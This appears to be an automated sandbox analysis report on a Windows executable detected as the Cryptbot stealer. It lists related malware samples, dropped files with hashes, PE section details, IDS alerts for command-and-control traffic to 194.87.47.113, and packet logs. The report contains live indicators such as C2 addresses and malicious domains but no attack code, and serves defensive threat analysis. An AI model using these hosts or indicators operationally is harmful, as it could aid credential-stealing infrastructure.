	http://johnlewisfinance.qa.uinsure.co.uk	Get hash	malicious	Unknown	Browse	13.107.246.63
	Configurator.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
home.twentytk20pn.top	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.185.71.170
	aweqG2ssAY.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.185.71.170
	EnoSY3z6MP.exe	Get hash	malicious	Cryptbot	Browse	185.185.71.170
	vH7JfdNi3c.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.185.71.170
	JiZQEd33mn.exe	Get hash	malicious	Unknown	Browse	185.185.71.170
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	185.185.71.170
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc	Browse	185.185.71.170
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.185.71.170
	random.exe.7.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.185.71.170
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.185.71.170

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TWC-11351-NORTHEASTUS	W6seF0MjGW.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	98.85.100.80
	f1842FwKth.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	98.85.100.80
	aweqG2ssAY.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	98.85.100.80
	vH7JfdNi3c.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	98.85.100.80
	U6mwWZlkzH.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	98.85.100.80
	KzLv0EXDs1.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	98.85.100.80
	0254xoMBbu.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	98.85.100.80
	JiZQEd33mn.exe	Get hash	malicious	Unknown	Browse	98.85.100.80
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	98.85.100.80
	la.bot.arm.elf	Get hash	malicious	Mirai	Browse	137.38.219.193
ASBAXETNRU	17345062850621022e2a034193497843f70f72ad0e2a6d5b0e23bb6cd0de4c41fac1759029833.dat-decoded.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	45.135.232.38
	H6Lzd3cP3H.exe	Get hash	malicious	Unknown	Browse	194.87.47.99
	k4c3YnjoBr.exe	Get hash	malicious	Cryptbot	Browse	194.87.47.99
	1SzdrH2oTL.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	194.87.47.99
	b3astmode.arm5.elf	Get hash	malicious	Mirai	Browse	91.193.216.252
	1733858044dd572d66bc3a8dabfe408fb29ad3eddb6c690affcab2d50d59673d0019848271178.dat-decoded.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	45.135.232.38
	Josho.spc.elf	Get hash	malicious	Unknown	Browse	212.192.27.99
	payload.elf	Get hash	malicious	Unknown	Browse	212.192.15.59
	hax.sh4.elf	Get hash	malicious	Mirai	Browse	91.193.216.228
	nscmips.elf	Get hash	malicious	Unknown	Browse	212.192.12.119

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\ehoYPkfWhVokJMBQaExv.dll	aweqG2ssAY.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	EnoSY3z6MP.exe	Get hash	malicious	Cryptbot	Browse
	vH7JfdNi3c.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse
	random.exe.7.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_NVkyG9HAeY.exe_208b294222345db7f7d82c3a5da4fe4df24458e4_68da6da8_912d5cee-6732-4a75-bad9-1acab1dc228b\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.113425396415371
Encrypted:	false
SSDEEP:	192:ASPW0BU/HSnju0ZrPMttMydzuiFRZ24IO8uR:/P9BU/Qj/WzuiFRY4IO8A
MD5:	66010BE342D193E78944F2484DC5AC1E
SHA1:	D4B92EF64C2C209697F84812400C64B3D9E84940
SHA-256:	95601D0FD6EBB06A6B24B89F176769E06D88927A8310FFEA8F98A3E392E2B96E
SHA-512:	77AD2AFC35D745C657B6CBF85EC66AB308BC2B9F982BAB82590888E7072BA4758BD8ACB0080E6BC888ADB4F224C59237CC19049EF5C990FE25BC3611E7E049B1
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.9.0.6.5.3.6.8.5.5.3.6.2.4.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.9.0.6.5.3.6.9.9.4.4.2.4.5.4.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.1.2.d.5.c.e.e.-.6.7.3.2.-.4.a.7.5.-.b.a.d.9.-.1.a.c.a.b.1.d.c.2.2.8.b.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.7.f.a.7.5.a.5.-.4.4.f.2.-.4.b.7.6.-.8.f.c.7.-.6.0.b.7.a.6.9.3.0.8.7.0.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.N.V.k.y.G.9.H.A.e.Y...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.7.0.c.-.0.0.0.1.-.0.0.1.4.-.8.7.c.2.-.8.f.b.7.e.3.5.1.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.d.3.c.0.0.c.5.2.d.6.a.b.1.d.d.8.e.4.9.4.5.c.4.c.a.a.4.1.b.b.2.2.0.0.0.0.f.f.f.f.!.0.0.0.0.8.2.a.6.5.e.5.8.3.8.8.a.2.4.f.a.0.7.9.f.6.4.4.e.5.7.4.b.5.a.2.6.5.1.2.d.1.0.7.8.!.N.V.k.y.G.9.H.A.e.Y...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER13D2.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8364
Entropy (8bit):	3.700097474399362
Encrypted:	false
SSDEEP:	192:R6l7wVeJpaq6686YcDsSUJgmfOb+2pr489bN0sf0Pm:R6lXJpH6x6YLSUJgmfOb+ONnfx
MD5:	27112D36334B204B767A7C5F6EBA53AB
SHA1:	1A2B4DCB42A9DF955F9DFE9DCD5309EE75AE1222
SHA-256:	10165FA92F91E66496797E06EA933BF96E498A642C689B025187DA85BA8A0392
SHA-512:	CA50C4173AF260D33EAA9FE2E99D4C5C009EE849E0225319E0730E1B2B1359D1C1199F6932D24BC9C945ACA1B1B6FB48EDD47AA53C76582B9B8C233C33A491FE
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.9.0.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1402.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4594
Entropy (8bit):	4.476732439553309
Encrypted:	false
SSDEEP:	48:cvIwWl8zslJg77aI9zQWpW8VYKIvYm8M4Jz5Fno+q8Kn4wgzkgd:uIjf/I7Zp7VyyJwRazkgd
MD5:	172FDB3D4E00106A097EC0E4E3594CB5
SHA1:	7FF27E28CA4A7AACCEA10FF45EF950D7D3F77450
SHA-256:	D812E0FF4140DF247AC9CA6078B38977654F8DF0785FF547A407DE185FAC5ED7
SHA-512:	5F447C7EF34E64DA83DBC86BC48BC212F12AE3E9648E3C4AF1E7590E58355165EB7449741FEDDDD0D2FF99B56E12426847D7BDDF003F9021DD10B5E23412502A
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="637805" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF9B.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Thu Dec 19 07:02:48 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	270734
Entropy (8bit):	1.4952514331380773
Encrypted:	false
SSDEEP:	768:dBPU2yEq/EnUJf2WDZ5h7+aYeAa8l3Yd:dBMXEnO2WZ+ZeAfZYd
MD5:	E9378EEEEB61B70672994DB0E7EA3B90
SHA1:	DA9F5E2F6CB0FD2E8D33BCA70CF605F35EC65FB7
SHA-256:	F340039CC70B5C51901D83AB7316280A5FA59BCDA59754AD6BFE7BF957635380
SHA-512:	FD2173AC5E9613A0683D46F9E7BBBA5B32B6BA91DFDECB637BB24373394DBC35A871E763597D3455E03DCFEC6EC9761D7A45034E6884EB3439FBE013641BF7B7
Malicious:	false
Preview:	MDMP..a..... .........cg........................................x,.....................`.......8...........T............D..............D-..........0/..............................................................................eJ......./......GenuineIntel............T.............cg!...8........................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ehoYPkfWhVokJMBQaExv.dll

Download File

Process:	C:\Users\user\Desktop\NVkyG9HAeY.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	315803136
Entropy (8bit):	0.054355404265247424
Encrypted:	false
SSDEEP:	24576:mV6EnBO/3Tjg05rfKYlxxQN3QAJhUCwW5nfnI0fIgVHt5JlBVE:dvZAfWW5ntf1VN5JlBVE
MD5:	633D2EA87075AF056EA448199D1B6B51
SHA1:	ACBA5B51C8CE89F7461E8E78785028E090133E71
SHA-256:	0259D4106A6068D299FADD3FC9B7AA2116BBDF70DDA1EAED55C8CA3826C75999
SHA-512:	6EE5B2A17B3901388B7B1C34D04A722214C4452D93A11111AF167B99FCC6AE84A07FC0126F63B5F8F439D538BC33174FF7C6FDF94589714B56360BAA82A3EF0D
Malicious:	false
Joe Sandbox View:	Filename: aweqG2ssAY.exe, Detection: malicious, Browse Filename: EnoSY3z6MP.exe, Detection: malicious, Browse Filename: vH7JfdNi3c.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: random.exe.7.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...bT`g...........#...(..........................0m.........................@............@... .........................`.......................................Hz...........................=.........................t............................text...8...........................`..`.data...............................@....rdata..............................@..@.eh_framX...........................@..@.bss.........p...........................edata..`............:..............@..@.idata...............<..............@....CRT....,............F..............@....tls.................H..............@....reloc..Hz.......\|...J..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\service123.exe

Download File

Process:	C:\Users\user\Desktop\NVkyG9HAeY.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	314617856
Entropy (8bit):	0.0023405885373275906
Encrypted:	false
SSDEEP:
MD5:	110FE44D33E426703CD712E879D34CBC
SHA1:	F7E396874328BA5813FE846DF4DB08A0AE8C7827
SHA-256:	3887BC25C5F53AA834C4277D5FF6DAC4F0B5B04C86C341095A5BF46F9EA150A4
SHA-512:	14C40AAD78EA18D08E3B5792EA55B6A7724907AA41D541DCBE960329C875426BA45C9C43607C67CFC8E87F14CD2EC004942E50EF5D3CE84E71EC3427DC4DD679
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...XT`g...............(.v........................@.......................... .......W....@... .................................................................d...........................D.......................T................................text....t.......v..................`..`.data...T............z..............@....rdata...............\|..............@..@.eh_fram............................@..@.bss....t................................idata..............................@....CRT....0...........................@....tls................................@....reloc..d...........................@..B........................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.393800390451744
Encrypted:	false
SSDEEP:
MD5:	20F779DBEEABEE670D773AE7282A8C07
SHA1:	BCF2E4426ECC809EFEC04B7173B59C7F4009F1FB
SHA-256:	DA14D54A6DE7B1DDF0FE8C6CA8C42E9D3343B484CD0D25086E416A066B7E8EA0
SHA-512:	8C5ECA77EC2E212BD20315CFFB83C933E05140B7043CE7C6CFDD5495AD78014205490F239655E972429D2C93B4026FCD41F90D300CA03BF33B28452EFD19D2D3
Malicious:	false
Preview:	regfG...G....\.Z.................... ....`......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.i...Q...............................................................................................................................................................................................................................................................................................................................................2.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Entropy (8bit):	7.9864416292970875
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	NVkyG9HAeY.exe
File size:	4'449'792 bytes
MD5:	60cb08aff943753c526cf73fd6007489
SHA1:	82a65e58388a24fa079f644e574b5a26512d1078
SHA256:	5a1e55df322d7f0f410e19bda46827def8374605479fe22d16c921c36751ec96
SHA512:	e6cadb0cb30f8c37e8d20f8448952ded9ef9501ad03e059f6140e70f82fc8d3ce12033a7d8887b4793145b2c7d4279d71df02e2ad8ea4a4d973384973e7a1aa9
SSDEEP:	98304:+TiQFMObNwi4HDXYIeeRGLsAR5G5zVoOLU104TjQ6jY7:+TNjwvjVeeRicdLU1BTjQ6s
TLSH:	5F263313CC72ADEDC1495CF0A20261EAC74F6F89D4E9B5975E8044FDECC6296E253B88
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U`g...............(.>D...d..2...`.......PD...@..................................DD...@... ............................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xf56000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
DLL Characteristics:	DYNAMIC_BASE
Time Stamp:	0x676055E0 [Mon Dec 16 16:31:28 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FF3B44C815Ah
pinsrw mm0, word ptr [ebx+00h], 00h
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x61905f	0x73	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x618000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xb545f4	0x10	liphicak
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xb545a4	0x18	liphicak
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x617000	0x283e00	b52fee2667f4d5f882d6cf436118add1	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x618000	0x2b0	0x200	e9e5a35e1a38e8f1d3f491c2848057ad	False	0.79296875	data	6.021896630078636	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x619000	0x1000	0x200	e8fbf92e0939d0cd4935f0fe539e974d	False	0.166015625	data	1.1763897754724144	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x61a000	0x384000	0x200	3157cfd61285f13f74d8842ef58b686a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
liphicak	0x99e000	0x1b7000	0x1b6a00	294dc3e54df33d7cf55f320c8524ea86	False	0.9941784741023083	data	7.954577723872195	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
gjmnxrkj	0xb55000	0x1000	0x600	10747959390737af73ddde7a2245cef2	False	0.5677083333333334	data	4.934860973813994	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0xb56000	0x3000	0x2200	d58987a0e153a418b94147fabdb3ad6b	False	0.006433823529411764	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0xb54604	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-19T08:01:21.770862+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.9	49797	194.87.47.113	80	TCP
2024-12-19T08:01:23.695915+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.9	49807	194.87.47.113	80	TCP
2024-12-19T08:01:33.661788+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.9	49841	194.87.47.113	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 08:00:44.833236933 CET	49712	443	192.168.2.9	98.85.100.80
Dec 19, 2024 08:00:44.833287001 CET	443	49712	98.85.100.80	192.168.2.9
Dec 19, 2024 08:00:44.833367109 CET	49712	443	192.168.2.9	98.85.100.80
Dec 19, 2024 08:00:44.943474054 CET	49712	443	192.168.2.9	98.85.100.80
Dec 19, 2024 08:00:44.943497896 CET	443	49712	98.85.100.80	192.168.2.9
Dec 19, 2024 08:00:46.677006006 CET	443	49712	98.85.100.80	192.168.2.9
Dec 19, 2024 08:00:46.677460909 CET	49712	443	192.168.2.9	98.85.100.80
Dec 19, 2024 08:00:46.677494049 CET	443	49712	98.85.100.80	192.168.2.9
Dec 19, 2024 08:00:46.678889036 CET	443	49712	98.85.100.80	192.168.2.9
Dec 19, 2024 08:00:46.678966999 CET	49712	443	192.168.2.9	98.85.100.80
Dec 19, 2024 08:00:46.680222988 CET	49712	443	192.168.2.9	98.85.100.80
Dec 19, 2024 08:00:46.680331945 CET	49712	443	192.168.2.9	98.85.100.80
Dec 19, 2024 08:00:46.680346966 CET	443	49712	98.85.100.80	192.168.2.9
Dec 19, 2024 08:00:46.732639074 CET	49712	443	192.168.2.9	98.85.100.80
Dec 19, 2024 08:00:46.732676983 CET	443	49712	98.85.100.80	192.168.2.9
Dec 19, 2024 08:00:46.779450893 CET	49712	443	192.168.2.9	98.85.100.80
Dec 19, 2024 08:00:47.000543118 CET	443	49712	98.85.100.80	192.168.2.9
Dec 19, 2024 08:00:47.000689983 CET	443	49712	98.85.100.80	192.168.2.9
Dec 19, 2024 08:00:47.000761986 CET	49712	443	192.168.2.9	98.85.100.80
Dec 19, 2024 08:00:47.010243893 CET	49712	443	192.168.2.9	98.85.100.80
Dec 19, 2024 08:00:47.010281086 CET	443	49712	98.85.100.80	192.168.2.9
Dec 19, 2024 08:00:49.126421928 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:49.246023893 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:49.246109009 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:49.247206926 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:49.366787910 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:49.366882086 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:49.366908073 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:49.366919994 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:49.366931915 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:49.366970062 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:49.366986990 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:49.366987944 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:49.367042065 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:49.367055893 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:49.367093086 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:49.367106915 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:49.367187977 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:49.367197037 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:49.367232084 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:49.367259979 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:49.367292881 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:49.486588955 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:49.486624002 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:49.486666918 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:49.486673117 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:49.486701012 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:49.486706972 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:49.486756086 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:49.486793995 CET	80	49723	194.87.47.113	192.168.2.9
